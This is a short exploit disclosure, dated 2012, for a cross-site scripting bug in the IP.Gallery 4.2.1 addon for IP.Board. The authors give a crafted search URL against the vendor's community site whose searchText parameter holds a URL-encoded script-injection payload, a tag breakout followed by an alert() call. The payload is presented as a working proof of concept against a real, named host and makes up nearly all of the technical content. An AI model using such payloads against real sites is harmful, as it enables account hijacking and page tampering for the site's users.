IP.Board Addon IP.Gallery 4.2.1Cross Site Scripting

# Exploit Title: IP.Board Addon IP.Gallery 4.2.1Cross Site Scripting
# Date: 27.03.2012
# Author: Sony and Flexxpoint
# Software Link: http://community.invisionpower.com/
# Web Browser : Mozilla Firefox
# Blog Flexxpoint: http://flexxpoint.blogspot.com/
# Blog Sony: http://st2tea.blogspot.com
# Site : http://insecurity.ro
# PoC:
http://st2tea.blogspot.com/2012/03/ipboard-330-cross-site-scripting.html
..................................................................

Xss bug in Gallery Search.

It's a very simple xss, but hard to use this.

http://community.invisionpower.com/index.php?s=blablabla&&app=gallery&module=ajax§ion=albumSelector&do=albumSelectorPane&secure_key=blalblabla&type=upload&albums=search&moderate=&album_id=1593&member_id=&searchType=member&searchMatch=is&searchIsGlobal=0&searchSort=date&searchDir=desc&searchText=%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Ealert%280x000252%29%3C%2Fscript%3E

You can't see this. Create your bug in the gallery and you can see this.

Video PoC:



What about other version? Maybe..